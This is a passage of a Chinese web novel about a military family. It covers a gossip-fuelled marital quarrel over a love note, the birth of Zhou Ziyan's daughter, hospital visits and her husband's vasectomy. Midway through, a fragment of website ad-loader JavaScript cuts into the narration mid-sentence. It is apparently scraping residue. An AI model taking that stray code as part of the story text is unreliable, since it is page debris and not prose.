第二天,他鼓起勇气,在云朵路过的时候叫住了她。 云朵接过他手写的纸条,没说什么。 从李二蛋那边出来后,也递了个纸条给他。 半个小时后,两人在乱石滩见面。 “我不是人,始乱终弃,辜负了你。你要我怎么弥补才行?我想跟冯薇好好过,只要你不再找我的麻烦,我愿意尽量满足你。” “呦,不容易啊,居然想到跟我道歉啦?” “我认真的。你别闹了行不行,都是我的错,我尽量弥补。” “还有五百块,尽快给我。还有——” “你说。” “我让你跪下求我你肯吗?” “可以换个别的方式吗?” “就不!” “那好吧,只要你说话算数。”孙谦咬咬牙,真打算下跪。 云朵急了,赶紧扶着他,红着眼道:“好哇孙谦,你为了你老婆,居然愿意跟我下跪!我真是看走眼了,你从来就没有在乎过我!” 云朵哭着跑了出去,孙谦没追。 反复咂摸着这句话,好像知道自己哪儿错了。 回到家里,写了张纸条攥着——我只是想哄你开心,不是为了冯薇。 云朵晚上过来的时候,拿到纸条,没说什么。 她把纸条揣衣服口袋里,抬腿往李七海家里走去。 陪着李二蛋做完今天的作业,她便告辞了。 下楼的时候碰到一个女人,昏黄的楼道灯下没看清楚对方长什么样,只说了声抱歉。 随后赶紧回去了。 没想到那人捡起地上的纸条,默默盯着她的背影。 露出一丝狡黠的笑。 * 云朵消停了一阵子。 可能是顾忌周子琰快生了。 也可能是孙谦的道歉让她心里好受一点了。 总之,周子琰风平浪静的坚持到了休产假的这天。 这段时间,吴旭东约过商春深几次,果然诈出来了一点关键信息。 现在警方已经找到商惊鸿当年的单位信息,并找到了她的证件照,发往了几个协查的省份。 说不准孩子和人贩子落网的消息哪个会先来。 总之,吴旭东前所未有的期待着电话的响起。 等他收拾东西跟周子琰回城里休产假后,一个女人找上了正在午休的冯薇。 拿出了那张纸条。 70. 生了 周子琰住到了父母家里。 用老妈的话说,人多了可以缓解压力。 而且,吴旭东一个人照顾她总有忙不过来的时候,不如回家待产。 吴旭东闲着也是闲着,便问丈母娘有没有什么亲戚朋友家里生小孩了,他去练练手。 “还真有个。”老安打了通电话,写了个地址给他,“是你老丈人以前带过的兵,上个月刚当的爷爷,你去看看。” 吴旭东求之不得,赶紧买了些玩具和礼物上门拜访。 到了地方,说明来意,他把能学的都学了一遍,约好有空还去。 一连去了好几天,可算是从生手成了熟手,心里踏实多了。 这天,他到中午饭点才回来。 “妈,这个栾叔叔说他小儿子也在岛上啊。”他卷起袖子,去厨房帮忙。 老安道:“对,叫栾新平,应该是个连长,刚结婚不久,他老婆也随军去了。” “怪了,怎么这么长时间也没见他们跟咱们来往?”吴旭东有点意外。 老安解释道:“还能因为什么?不高兴呗。” “怎么?” “那个栾新平初中的时候早恋翘课,那会儿子琰是班长,发现情况后找他私下里劝了劝,不听。后来东窗事发,他就冤枉是子琰找老师告的状。子琰生平最恨别人冤枉她,当场揍了他一顿,他就记恨在心里了。他现在的老婆刚好是他早恋对象,心里不痛快,也就没跟你们来往。” “这也太离谱了,十几岁时候的事,能记恨到现在?” “有的人就是记仇嘛。” “可是听你的意思,不是子琰告的状啊。” “那有什么办法,这个栾新平一口咬定只有子琰知道,真是跳进黄河洗不清。” “我说呢,这么久了都没有见过。他们住几号楼啊?” “五号楼吧。” “他老婆叫什么?什么特征,以后遇上了我也不理他们。” “曲柚柚,柚子那个柚。特征的话,三白眼,大嘴巴,有点地包天,个头倒是不高,一米六不到吧,特别爱搬弄是非的一个女人。” 正在沙发上看书的周子琰插了句嘴:“妈,你说曲柚柚啊?她好像还没孩子吧?” “对,怀了三回了,回回都是自然流产,也不知道什么问题。”老安从厨房出来,端了个果盆给她。 周子琰撇撇嘴:“还能什么问题,缺德事做多了呗。偶尔遇上她,还是老样子,见到我就翻白眼,神经病。” “别管她,起码你栾叔叔人不错。”老安对事不对人,不会搞连坐,把栾家其他人一棍子打死。 周子琰拿起水果叉子叉芒果:“也是奇怪,栾叔叔那么一个面慈心善的老好人,怎么会养出这么一个记仇的儿子。” “谁知道呢,被惯坏了吧。”老安曾经听说过栾家的桃色新闻,不过老栾对周子琰来说毕竟是长辈。 所以她不想在孩子面前议论这些,没提。 其实早就有传闻,栾新平不是老栾的种。 不过老栾的性格太面了,他又乐得糊涂,别人也不好说什么。 正说着话呢,刘敏杰的电话来了。 “周姐,孙谦跟冯薇闹离婚了!” “闹离婚?为了什么?” “你们走的那天,他们在五号楼的邻居来找冯薇借卷发棒,捡到了一个纸条。冯薇为了纸条的事闹起来了。孙谦嘴硬了好几天,正好昨天云朵过来辅导李二蛋写作业,看不过去就挖苦了冯薇几句。吵着吵着,那个邻居出卖了云朵,说纸条是从云朵身上掉下来的。这下冯薇炸毛了,闹得那叫一个天翻地覆,把政委都给惊动了。” “谁啊,这么喜欢煽风点火。” “叫什么曲柚柚,我不认识,也是听王英说的。据说这个女人平时就喜欢搬弄是非。” “知道了,别管他们,让他们吵去吧。” “哦,好!”刘敏杰还想说点什么,想想还是不提了,周姐快生了,不能生气。 周子琰却已经猜到了,既然惊动了政委,说明闹得很大。 政委的本事她还是清楚的,肯定能把一切秘密都给问出来。 于是她问道:“是不是冯薇埋怨我和你姐夫知情不报,帮着孙谦瞒着她?” “啊……嗯……你怎么知道的?” “猜的。” “嗯,周姐你放心,政委不是傻子,还把她训了一顿,让她跟孙谦一起写检讨去了。” 周子琰并不同情孙谦。 他居然敢威胁吴旭东,要跟正阳大哥抢合作商。 就凭他? 先是劈腿踹了怀孕的云朵。 接着隐瞒恋爱历史,骗冯薇结婚。 她和吴旭东劝了几次,都不肯坦白,非要等到小人捅刀才知道急了。 毫无担当可言。 这么一点家务事都处理不好,还指望在外面叱咤风云? 做梦! 总之,不管了,安心生她的孩子去,一切等回去再说。 于是她叮嘱道:“你把我推荐的那些书好好看看,要记得时刻掌握最前沿的技术,才不会被时代淘汰。” 刘敏杰笑道:“周姐,你放心,我天天在看呢,上册快看完了。对了周姐,我估计他们离不成,冯薇怀孕了。” “随便吧,离不离都是她的选择。” “知道了周姐,后天我休息去看你。听说有的孕妇临近预产期会特别害怕,我觉得你肯定不会的。我很相信你的小宝贝,肯定是个贴心的宝宝,不会折腾妈妈的!” “借你吉言!”周子琰挂断了电话。 吴旭东正蹲在沙发前给她按摩双腿,怕她水肿。 目前看来,一切还好。 应该得益于平时锻炼得多,身体素质好。 不过女人生孩子就是闯鬼门关,再好的身体素质,都不算万无一失。 所以他不敢掉以轻心。 按摩完他扶着周子琰去卧室休息,刚走几步,周子琰摆了摆手:“不好,肚皮怎么一紧一紧的。快喊咱妈!” “你别动!”吴旭东俯身,将她打横抱起来。 他买了一套医学院的教科书,已经做过功课了,如果是羊水先破,必须及时让孕妇躺下。 如果不是,那也是躺下安全点,方便观察宫缩的情况。 他抱着周子琰回了客厅,喊道:“妈,子琰好像开始宫缩了,快帮我拿个计时器来。” 老安正在厨房忙碌,听到动静赶紧出来。 留下老周一个人张罗午饭。 很快,饭好了,周子琰的宫缩也从半个小时一次,发展到了十五分钟一次。 “不是假性宫缩,去医院!”老安当机立断,赶紧指挥起来。 就连睡懒觉的周子琛也爬了起来,帮忙拎两个待产包。 吴旭东很紧张,不敢开车,只能让老丈人代劳。 一大家子以最快的速度赶到军医院。 等住院手续办妥了,汤正阳的电话也打了过来:“小旭!你蕾蕾姐说子琰快生了?” “嗯,住院了。” “别怕,我这就赶回来陪你!” “我才不怕。”吴旭东死鸭子嘴硬,手心早就冷汗涔涔。 汤正阳今天没有心思打趣他,问清楚哪家医院立马挂了电话。 不光是他,安小蕾也在往回赶,还有刚刚飞完国际航班准备休息的周子杰。 几乎是全家出动,很快产房门口就被围得水泄不通。 医护人员没见过这样大的阵仗,不禁目瞪口呆。 “是什么大人物生孩子吗?”新来的小护士好奇得不行。 护士长是周子杰同学,镇定道:“人家是大家庭,人口兴旺而已,别开小差,快去叫杨主任,怎么喝口水这么久。” 很快,一个五十来岁的老专家赶来。 老安迎上去,还没有开口,就被老专家搂着肩膀去旁边说话。 “老安啊,你要陪产吗?” “要!” “你别激动,你先问问你女婿,原则上只允许一个家属陪产。” “好,我问问。”老安赶紧把吴旭东喊到跟前,劝道,“太血腥了,还是我去吧!” “不,我去!”吴旭东深吸一口气,他要去。 他要陪他的老婆一起闯鬼门关。 要是周子琰有个三长两短,他也不活了。 这个女人就是他的命! 老安见他激动得两眼猩红,只好妥协了,但还是提醒道:“你要是撑不住就赶紧出来,对你对子琰都好。” “我撑得住!”吴旭东不怕,真正辛苦的不是他,是子琰! 老安当然明白,可是…… 可是她见过真实的例子,丈夫信誓旦旦去陪产,结果孩子出生后没多久就离婚了。 别看有的男人自诩什么阳刚之气,真到了产房里头,那就难说了。 女婿又有那么一个惨痛的过去,万一血腥的画面刺激到他…… 她不敢想。 可是女婿一再坚持,她也只好沉默。 最终是吴旭东换上无菌服跟了进去。 周子琰用力的时候,他把手背给她咬。 周子琰快要虚脱的时候,他握住她的手不断安慰…… 毕竟是初产妇,比较耗时耗力。 月亮爬上夜空的时候,一声啼哭响彻产房。 气势磅礴,嘹亮悠扬。 像个耀武扬威的小霸王,隆重的向这个世界宣告她的到来。 刚刚赶回来的安八荒正好踩着孩子的哭声进了医院,跟同样急匆匆赶路的汤正阳在楼梯口撞上了。 汤正阳赶紧赔礼道歉。 安八荒笑笑:“一家人,没关系。” “啊!您是?” “我姓安,行八。”两人边走边聊。 汤正阳笑了:“是八舅!” “是我,给你这个!”安八荒递过来一个黄色绸缎布包着的东西。 汤正阳没有打开,摸了摸,好像是桃木剑什么的。 他很好奇:“八舅知道我是谁?” “帅的,脸上有疤的,除了叫汤正阳的那小子,还能是谁?”安八荒笑笑,大步流星往前走。 汤正阳目瞪口呆:“话是这么说,可是您老也太神了。从香港回来没这么快吧?是不是提前算准了?” “那当然!”安八荒不敢说太多,只暗示道:“东西收好了,随身携带。生意做得大,要谨防小人啊。” 汤正阳没有当回事,毕竟他的心思都在弟弟一家身上。 他笑了笑,把东西揣包里,勾住安八荒的肩膀,加快脚步往产房门口赶去。 “八舅知道子琰生的是男孩还是女孩吗?” “女孩。” “真的?” “不信你去问。” “听小旭说,八舅已经给孩子取好名字了?” “嗯,周奕澈。” “让我猜猜是哪个yi。奕奕秋水傍,駸駸(qin)绿云蹄?” “没错,再猜猜哪个che。” “素月分辉,明河共影,表里俱澄澈。” “你小子,虽然学历不高,但是文学素养还是可以的嘛!” “八舅过奖了!只是刚好看到头顶的月亮,想起这两句。正好孩子属马。” “跟你一个属相!” “对,所以我特别激动,哈哈!” “你去抱她!出来了!”安八荒拽着汤正阳从人群里挤到最前面。 正好产房门打开,他赶紧拦住了自己的六姐和姐夫。 可是老安今天不肯给他面子,一把将他搡开,紧张地问道:“我女儿没事吧!” “安姨,没事,孩子六斤整,不大不小的,很好生,都没用上侧切,产妇再休息一会儿就出来了。”护士长小心翼翼地抱着孩子,“这么多家属,谁来?” 老安松了口气,没事就好。 她看着一脸期待的的准女婿,算了,不跟他争。 侧身让开,她指了指汤正阳:“给他吧。” 汤正阳知道这么多亲眷在场,按理轮不到他第一个抱孩子,可他还是厚着脸皮抱起了孩子。 孩子一到他怀里就不哭了。 小爪子粉嘟嘟的,下意识揪住了他的袖子。 汤正阳喜极而泣:“小旭当爸爸了!我当大伯了!小阿澈,你好呀!” 一群人全都围了上来,跟这个嚣张的小家伙打招呼。 老安实在忍不了了,轻轻地把孩子“抢”了过来。 “小阿澈,好名字,来,谢谢你八舅爷!”老安把孩子往远道而来的神棍怀里塞。 安八荒笨手笨脚的抱了抱,塞了个红布包着的东西在孩子怀里:“等会让小东和子琰亲手给孩子戴上,我得走了。” “八哥,这么着急做什么!难得回来,你就不能多待几天?”安九州也特地赶回来了。 “我不!走开,别害我,离我远点儿!”安八荒嫌弃得不行。 都怪九州! 上次回来,他担心九州的孩子快要下岗了,没忍住,说秃噜嘴了。 他得走,越快越好。 安九州无奈,眼睁睁看着八哥跟个猴子一样从人群里蹿了出去,默默叹气。 很快,老安跟着护士,去给孩子做登记,打疫苗。 其他人继续在门口等着,直到吴旭东浑身汗津津地推着手术车出来。 这才松了口气。 病房里,周子琰累极入睡。 护士长几次来催她开奶,都被家属劝走了。 “先喂点奶粉,我都准备好了!”吴旭东赶紧去找待产包。 开奶不差这一会儿,再说,子琰那么忙,等回到部队,肯定没办法每一顿都喂母乳的。 他早就拜托八舅从香港那边订购了奶粉邮寄过来了,算上关税,不便宜。 可是他不在乎。 水温,水量,冲泡顺序,他也都演练过了,手拿把掐。 很快抱着嗷嗷待哺的小阿澈,喂奶。 可能小婴儿真的有感知力,原本手舞足蹈抗议没有饭饭吃的小阿澈,一到爸爸怀里就安静了下来。 小脑袋拱了拱,很快捕捉到了奶香味,两只小爪子举起来想抱住奶瓶,可惜力气不够,挥舞了两下就叼住了奶嘴,吭哧吭哧,狼吞虎咽。 众人瞧着吴旭东是个行家,全都放心了,留下给孩子的红包,陆续离去。 人群散去,谈九妹扶着颤颤巍巍的谈三娘,到吴旭东跟前看孩子。 谈三娘翻来覆去就一句话:“奶奶,高兴。闺女,好。” 谈九妹红着眼睛移开视线:“嗯,当奶奶了,这回是亲奶奶,亲孙女儿!” “奶奶,高兴。闺女,好。”谈三娘重复着相同的字句,哆哆嗦嗦的去掏口袋。 谈九妹难得的没有代劳,让这个久经苦难的奶奶,亲手给小阿澈送上出生的红包吧。 “你妈亲自叠的。”谈九妹跟吴旭东解释。 吴旭东明白,钱不重要,心意千金。 等老人家好不容易把红包掏出来,谈九妹赶紧跟罗素漪一起,扶着她回去了。 最后只剩下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 安小蕾跟汤正阳还在这里陪着这一家三口。 安小蕾整理着大哥大嫂送来的旧衣服,满心欢喜。 闺女好啊,闺女疼妈。 她家子琰整日里风吹日晒的那么辛苦,有个小棉袄再好不过了。 周子琰醒来,见到自己姐姐,疲惫的笑了笑:“姐,爸妈呢?” “回去煲汤了,马上来。”安小蕾起身,握住妹妹的手,“别担心,都陪着你呢。” “小东呢?” “抱着小阿澈去登记出生证明了,马上回来。” “姐你知道吗?他在产房里头见我累得闭上了眼睛,直接吓哭了,笑死我了。我就是太累了想歇会儿,他以为我不行了,哭得那叫一个可怜,真够傻的。” “你还笑!他那是在乎你!我看他照顾孩子那么娴熟,平时没少去帮别人喂孩子吧?” “嗯,我休假回来他就跑朋友家练习带婴儿去了。” “真是有心了。” “姐,你看我变成死鱼眼睛了吗?” “我知道你想说什么。” “那就好。” “我说考虑一年就一年,谁也改变不了我的决定。” “你就嘴硬吧!整天戴着钻戒招摇过市,谁不知道你跟正阳哥是一对。” “不要你管!” “我才没空管你!” “对对对,你是妈妈了!管你的小阿澈去吧!不过你别得意,回头孩子拉屎拉尿,有你头疼的时候。” “我才不管,让小东头疼去。” “呦,这会儿又不心疼他啦!” “我倒是想心疼,可他愿意让我做吗?” “那倒也是,这家伙,忙进忙出的,都不肯让我多抱一会儿,好像我会欺负小阿澈似的,气死我了!” “你别急,等你有孩子了,正阳哥肯定也不舍得让我抱。” “谁要跟他生孩子!” “好哦安教授,记住你今天说的话,你要是生了你就是小狗!” “周子琰!你多大人了!幼不幼稚!再过两年让你家小宝贝笑话你!” “我再大也是你妹妹,你又没办法时光倒流让我做姐姐!” “说不过你!” 嘴强王者安教授终遇对手。 惜败。 正郁闷怎么反驳回去,护士长来了。 开奶的过程怎一个痛苦了得。 周子琰却全程不哭不喊,连护士长都觉得意外。 “不疼吗?” “疼啊。” “你可以喊两声,没事的。” “哦。”但周子琰就是头铁,不喊。 护士长没见过这样的硬骨头,服了。 等到出了母乳,吴旭东也回来了,赶紧把孩子往她怀里塞:“我刚喂了一点点奶粉,就一点点。” “嗯,辛苦了阿澈爸爸!”周子琰笑着接过孩子。 吴旭东被这一声阿澈爸爸击中,像是一颗陨石砸落心海,溅起重重喜悦,从心底一层一层荡漾开。 一层一层交织着,一层一层共鸣着,掀起滔天的蜜色海浪。 最终在他眼中炸裂绚丽的烟火。 他好喜欢这个称呼! 这就是他跟周子琰一辈子的牵扯! 谁也割不断,谁也分不开! 他笑着回敬道:“阿澈妈妈!再喊一声!我喜欢!” “阿澈爸爸!” “哎!阿澈妈妈!” “哎!阿澈爸爸!” 安小蕾看着这两个大傻子,笑着拉上汤正阳出去了。 狗粮齁咸,受不了。 走廊上,汤正阳停下脚步,扣着她的手腕,暗哑的嗓音带着一丝奢望:“真的要一年吗?” “汤正阳,我决定的事,不会反悔。” “好。”汤正阳俯身,吻住这个嘴硬的女人。 一年就一年吧。 * 顺产三天就可以出院,第二天周子琰正在喂奶,六号楼的女兵们来了。 唯独少了冯薇。 刘敏杰不想让她月子里不高兴,没提冯薇的事儿。 一群姨姨叽叽喳喳的,这个抱抱小阿澈,那个看看小阿澈,热闹得很。 尤其是王英,想到家里的熊孩子李二蛋,就觉得还是闺女好,不禁羡慕得长吁短叹。 刘敏杰知道她这两天也跟着受气了,怪无奈的。 探视完出了医院,才在路上跟王英嘀咕道:“这个冯薇简直不可理喻,整件事跟周姐有什么关系?居然怨恨上周姐了,也不来医院道贺,猪脑子吗?” 王英也觉得不可思议,更离谱的是,她儿子居然也是知情者,还讹了孙谦和云朵的钱。 气得她,把那混小子痛揍了一顿。 不禁感慨:“所以啊,邻居难做,知情的邻居更是里外不是人。” 刘敏杰愤恨道:“还不是怪那个孙谦,他骗人在前,隐瞒在后,最后又把周姐他们抖出来,真是恶心死了。这种人还能让何东升带着他做生意,简直不可思议。” “是啊,真糟心。这邻居以后还怎么相处啊,哎。”王英头疼,本来事情跟她没关系的。 偏偏她儿子…… 看来李七海对儿子的教育有大问题,男人嘛,总喜欢在孩子面前装好人的。 得罪孩子的事都推给妈妈。 简直鸡贼。 不过王英还是乐观的:“还好,产假三个月,加上晚育假三十天,四个月的时间,足够孙谦跟冯薇和好了。等周指导回来,应该一切都会恢复正常的。” “但愿吧。”刘敏杰自然是盼着周姐好的,可惜周姐一直让她不要多事,不然她真想劝劝冯薇。 思来想去,她还是决定为周姐做点什么。 回到大院,便让曹景润把孙谦和冯薇请到了家里。 正准备一起吃点饭,聊聊天,曲柚柚来了。 她刚挑唆得六号楼闹了大笑话,不得来看看自己的战果吗? 没想到扑了个空,不死心的她沿着走廊找了一圈,可算是逮到了冯薇两口子。 她笑着掀开门帘:“呦,吃饭哪。带我一个呗,正好跟你们说说胡鹏飞家闹的笑话。” 冯薇虽然还在气头上,可她也不傻。 曲柚柚这种人唯恐天下不乱,没安好心。 她放下筷子,咬着后槽牙,冷脸吐出一个字:“滚!” 曲柚柚却没脸没皮的,笑道:“呦,这么大火气呢?你也没去医院道贺啊,难不成周指导还能隔空给你气受?” 冯薇忍不了,一拍筷子,站了起来,拽着孙谦就走。 孙谦一头雾水,问道:“去哪儿啊?你不会真想离婚吧?小薇我真的错了,你怀着孩子呢,不能生气啊!” “不能生气也气了,拜你所赐!”冯薇气得一巴掌甩了上去,“你个二手货,脏男人!我呸!我跟周指导一直井水不犯河水,要不是你,我能气头上口不择言,怨怪她的不是吗?都是你害的!怪不得你一早在我跟前说吴旭东的坏话,就是怕我跟他们走近了知道你的龌龊事是吗!小人!我呸!” “我……”孙谦无法反驳,张了张嘴,到底还是选择了立正挨骂。 “我想清楚了孙谦!男人可以再找,六号楼这九个女人的关系却不能留下污点!你,现在就给我收拾一下,跟我去医院道贺去!”冯薇想通了,看到曲柚柚过来继续挑唆,她就清醒过来了。 人家就是要看他们六号楼鸡犬不宁呢。 做梦! 于是下午周子琰刚在产科病房搂着小阿澈睡着,敲门声响了起来。 71. 凶手 说实在的,周子琰跟冯薇不熟。 毕竟一线部队和后勤部门的交集不多,周子琰又是个工作狂,不爱打听别人家的八卦。 所以冯薇到底是个什么性格的人,她并不清楚。 上午的时候女兵们都到齐了,独缺冯薇,周子琰也不伤心。 没有人会为关系一般的新邻居浪费感情。 不过现在,冯薇居然来了,周子琰还是挺意外的。 她放下孩子坐了起来。 吴旭东赶紧给她垫上靠枕,免得她这个姿势不舒服。 冯薇把水果放下,掏出一个红包:“周姐,上午家里有点事,没能赶过来,真是不好意思。” “谢谢,水果我收了,钱就算了,刘敏杰她们的我也没收。”周子琰客气的笑笑。 冯薇没有坚持,毕竟周子琰都拿刘敏杰堵嘴了。 她跟周子琰关系一般,确实不好勉强。 凑近些,她看了眼孩子,小声道:“男孩女孩啊?” “女孩。”周子琰不想吵醒孩子,右手轻轻拍打着小阿澈的身体。 冯薇笑笑,摸了摸自己的肚子:“我也希望自己怀的是个女孩。这年头只准生一个,到时候孩子就有小姐妹了,一起上学放学,多好。” 这是明摆着在示好了。 周子琰听得出来,笑道:“你也怀孕啦?恭喜呀。” “刚一个月,那我就沾沾周姐的喜气,祝我也可以有个白净乖巧的女儿吧。”冯薇还是挺会说话的。 这让周子琰听着很舒服,她指了指床头柜上的一堆婴儿衣服:“到时候我家阿澈穿不了这些了,你随便挑。” 冯薇放心了,看来周指导没有生气,便应道:“那我就不客气了。” “好说好说。” 两人又聊了一会儿。 冯薇还是挺聪明的,全程没提孙谦跟云朵的事情,免得大家尴尬。 至于孙谦,则跟个鹌鹑一样,一言不发杵在那里,生怕自己成为众矢之的。 结果他想多了。 直到离开,他才如梦初醒,是他低估了冯薇的格局。 这个女人冷静下来后,根本不稀罕为了他的那点破事儿来得罪周子琰。 这才是聪明人的做法。 他呢,空有大学生之名,却是个上不得台面的小家子气。 高下立判。 他忽然有点难受,总觉得冯薇的表现,把他衬托成了一个小人国的小丑。 两口子走后,吴旭东入忍不住评判了一句:“别看孙谦现在伏低做小,不过是为了哄她生孩子。生完孩子之后什么样就难说了。” 周子琰也是这么想的:“不管他,起码冯薇还算是个体面人。” “阿澈的衣服真给她留?” “留,人家主动过来示好,伸手不打笑脸人。” “嗯,她应该是明年上半年生,如果学校卡生日的话,她的孩子可能会跟咱家阿澈一起上学。” 周子琰算了算,还真是,冯薇的预产期应该在阳历七月之前。 她家小阿澈的生日是农历八月初八,阳历九月二十六,这年头学校卡的生日是七月一日,小阿澈要到虚岁八岁才能上一年级。 虽说吴巷北也结婚了,二姐那边明年应该也会有动静,小阿澈今后不缺妹妹弟弟,可是远亲不如近邻。 孩子的童年,肯定还是要跟大院的孩子们一起度过的。 周子琰得出一个结论:“冯薇是个聪明人。咱家阿澈占个姐姐的名头,以后要是两家孩子闹了矛盾,咱家的需要让着她家的。” “不让也没事,大不了我去善后。”吴旭东才不想让自家闺女受委屈呢。 周子琰哭笑不得:“也不能这样说,我难道就不疼孩子吗?爱和溺爱,往往只是一念之差,如果真是阿澈不好,该批评的就要批评。咱们不能溺爱孩子,会害了她的。” “就是,小旭啊,听子琰的。”汤正阳笑着进来,身后跟着几个药商。 都是跟他有合作的,听说他当大伯了,过来看看孩子。 一群人特地压低了声音说话,生怕吵着襁褓里的小乖乖。 结果大家全都想多了,其中一个药商结石发作,哎呦一声怪叫,被人扶去了门诊室,这都没有吵醒她。 周子琰放心了:“这孩子随我,困劲儿来了,天王老子也吵不醒她。” 吴旭东笑着坐在床前,掀开抱被,细细打量,怎么看也看不够。 “这小鼻子小嘴巴,真像你。”可惜还没有睁开眼睛,看不出眼睛像谁。 周子琰觉得他在说瞎话:“阿澈还没有长开呢,怎么看出来像我的?” “你是妈妈,又是个大美人,像你多好。不过像我的话也行,我帅。”臭美的男人不经意的翘起了尾巴。 周子琰乐得不行:“好好好,阿澈爸爸最帅了,宇宙第一帅。” “不跟你贫了,我预约了手术,等会再来。”吴旭东看看手表,准备去把正事办了。 周子琰愣了一下,随即反应过来:“你要结扎?” “嗯。听说结扎完要过半年才能彻底放心,我已经让楚劲雄帮我带了套子,你放心,不会让你意外怀上去做流产的。”吴旭东都安排好了。 周子琰握住他的手,在脸颊上贴了贴:“等等吧,爸妈马上来,我陪你去做。” “不用,小手术,当场就可以下地了。你好好休息。”吴旭东可舍不得让老婆折腾。 刚生过孩子的女人,最是需要小心呵护。 周子琰没有坚持。 虽然现在还是三十五六度的高温,但是产科大楼跟其他病区是分开的。 路上少不得要吹风,毕竟楼房之间有峡谷效应。 算了。 不过她还是劝道:“你等大哥回来,不然我不放心。” “好。”吴旭东知道这是她在乎自己的表现,当然应下。 汤正阳回来,赶紧陪着吴旭东去把结扎手术做了。 加上交费化验什么的,前后一个小时就搞定了。 汤正阳看着从手术室出来的小弟,不禁拍了拍他的肩膀:“什么感觉?回头我也做个。” “你见过农村劁猪吗?”吴旭东举了个不太恰当的例子。 汤正阳笑了:“你是猪?” “别闹,我只是想说,比那个简单,也比那个无痛。只要切断输精管就好了,体外的小手术。”吴旭东没有撒谎,确实不疼,他跟没事人一样。 可能是从小挨打,疼痛的阈值比较高。 如果真是这个原因的话,那么大哥做的时候,应该也不会有什么感觉的。 汤正阳点点头:“那就好,在哥面前不用逞强,要是真的不舒服,哥可以扶着你。” “真没事。”吴旭东哭笑不得,“我又不是三岁小孩,骗你干什么?” “问你个事情。”汤正阳不开玩笑,脸色变得严肃。 吴旭东好奇:“你说。” “阿澈姓周,我觉得挺好的,可是咱爸那边……他虽然没说什么,但我看得出来,他有点伤心。” “那我管不着,孩子是我跟子琰的,决定权不在他。” “我知道,我只是想说,我不在家的时候,你抽空多哄哄他,老人家嘛,思想拐不过来,正常的,你也别生气。” “他又不是只有我一个儿子,不行你让你孩子姓吴呗。” “实不相瞒,我也不想让孩子姓吴。” “也对,到时候爸爸姓汤,妈妈姓安,孩子姓吴,不知道的还以为孩子是收养的呢。” “你也这样想?” “嗯,不过这事还是你跟蕾蕾姐去商量吧,毕竟是你们的事。至于咱爸那边,别怕,他翻不出什么浪花来。” “其实我想的是,可以让你三姐的孩子姓吴,反正汤家儿子多,孙子孙女也多。” “这倒是个法子,你跟三姐说了吗?” “还没有,只是有这个打算。不过我可以保证,汤家那边不会有任何意见。” “嗯,那你回头问问三姐。” “其实这么一来,咱这三家孩子都是随母姓了,是不是也挺统一的?至于你二姐,她男人是少数民族的,不在讨论范围之内。” “你想让孩子姓安?” “对呀,汤家那么多孩子,不缺姓汤的。再说,我喜欢安这个姓,平平安安的,多好。” “好是好,不过汤正阳同志——” “怎么?” “你这婚还没结呢,都想到孩子了,你就不怕蕾蕾姐不肯要你?” “会吗?” “……你问我,我问谁?” “应该不会吧,她走到哪儿都戴着戒指。她就是太骄傲了,说一不二,非要坚持考虑一年。不过我觉得她已经有答案了。” “那倒也是,你这么帅,她舍不得不要你的。” “哈哈哈。小旭你也帅!” “商业互吹吗这是?” “那必须的,你可是我弟弟,亲的!”汤正阳一把搂住吴旭东的脖子,回产科病房去了。 * 诸葛光跟何东升都来了。 不光是他们俩,还有诸葛光的几个哥哥和妹妹,都在。 一大家子围在病床前,嘘寒问暖。 这三家的关系汤正阳都了解过了。 诸葛光的爸爸诸葛鸣跟周中擎以前是战友,老搭档。 有很长一段时间,都是诸葛鸣做政委,周中擎做团长/师长。 只是没想到诸葛鸣走得早,临终前不放心家里的几个孩子,便拉下老脸,求着周中擎定下了儿女婚事。 而何东升的爸爸,则是周中擎带出来的兵。 所以何东升对周家是很客气的。 他给孩子带了两套和尚服,塞了一个红包就准备离开了。 转身的时候看到汤正阳,还挺意外的。 他从他爸爸那里得知吴旭东的亲大哥另有其人。 也知道了这个亲大哥就是药商汤正阳。 不过他一直没见过汤正阳本人,这会儿他看着相貌有五六分相似的兄弟两个,赶紧笑着过来跟汤正阳打招呼:“你就是汤大哥吧?你好你好,我叫何东升。” “是小何啊,小旭跟我提过你。也是跑药材的?”汤正阳喜欢有礼貌的人,对何东升的第一印象不错。 何东升笑着点头:“小打小闹的,汤大哥见笑了。” “没有没有,谁不是从小打小闹做起来的呢。听说你还当过兵?” “嗯,裁军的时候转业了。原本分到了机关单位,不过我是个财迷,所以辞职下海了,自己做点买卖。” “挺好的,男人嘛,知道自己想要什么,那就努力去做,老了才不会后悔。” “是啊。”可他现在就挺后悔的。 周子琰当妈妈了。 不过他努力掩藏起这样的情绪,不想让别人看出来。 等他走后,汤正阳看了吴旭东一眼,那眼神在说:得亏你小子行动力强,要不然…… 吴旭东笑笑,没说什么,走到病床前看看孩子。 “琰琰,介绍一下?”他掀开包被检查了一下,孩子没尿,顺势坐在了床前。 那亲昵的姿势,让诸葛光非常难受,当即借口需要回去照顾孩子,转身离去。 他的哥哥们和妹妹倒是体面,跟吴旭东聊了会天才走。 等到病房里安静下来,吴旭东默默看了眼周子琰:“你跟诸葛光订婚订了多少年?他怎么一副对你余情未了的样子?” “六年吧。”周子琰想了想,没错,诸葛伯伯是在她十八岁那年去世的。 她今年二十六了。 两年前诸葛光弄出了孩子,单方面毁约,所以是六年。 吴旭东挑眉:“六年?六年你都没有爱上他,看来是他不行。” “……”周子琰笑了,“对,你最行,几天就表白了,谁有你行动力强啊!” “我当然行了,不然小阿澈哪里来的?”臭美的男人再次孔雀开屏。 一旁的汤正阳被狗粮拍了一脸,干脆出去了。 等着,早晚轮到他跟安小蕾秀恩爱。 周子琰出院后,还是住到了爸妈家里。 婆婆还没办法生活自理,照顾产妇的责任自然而然被亲妈包揽了下来。 吴旭东很多时候帮不上什么忙,只能把精力都放在孩子身上。 厂子和店铺又都有楚劲雄他们帮忙照看着,基本上不用费什么心。 唯一需要应付的就是商春深,不过这人也不笨,被吴旭东诈了几次,说秃噜嘴商惊鸿的事情,已经后知后觉的明白过来了。 这几天他都找借口躲着吴旭东,压根不敢来看周子琰和孩子。 这天,吴旭东正单手托着小阿澈,另一只手换尿布,电话响了。 他腾不开手,老丈人去了公司,丈母娘下楼买菜去了。 只得去踢周子琛的门:“起来了,接一下电话。” “哦!”周子琛是个夜猫子,夜晚创作,白天呼呼大睡,习惯了日夜颠倒。 每天不到饭点不起来。 这会儿被吵醒,也不好埋怨什么,赶紧去接电话。 “表哥,什么事啊?” 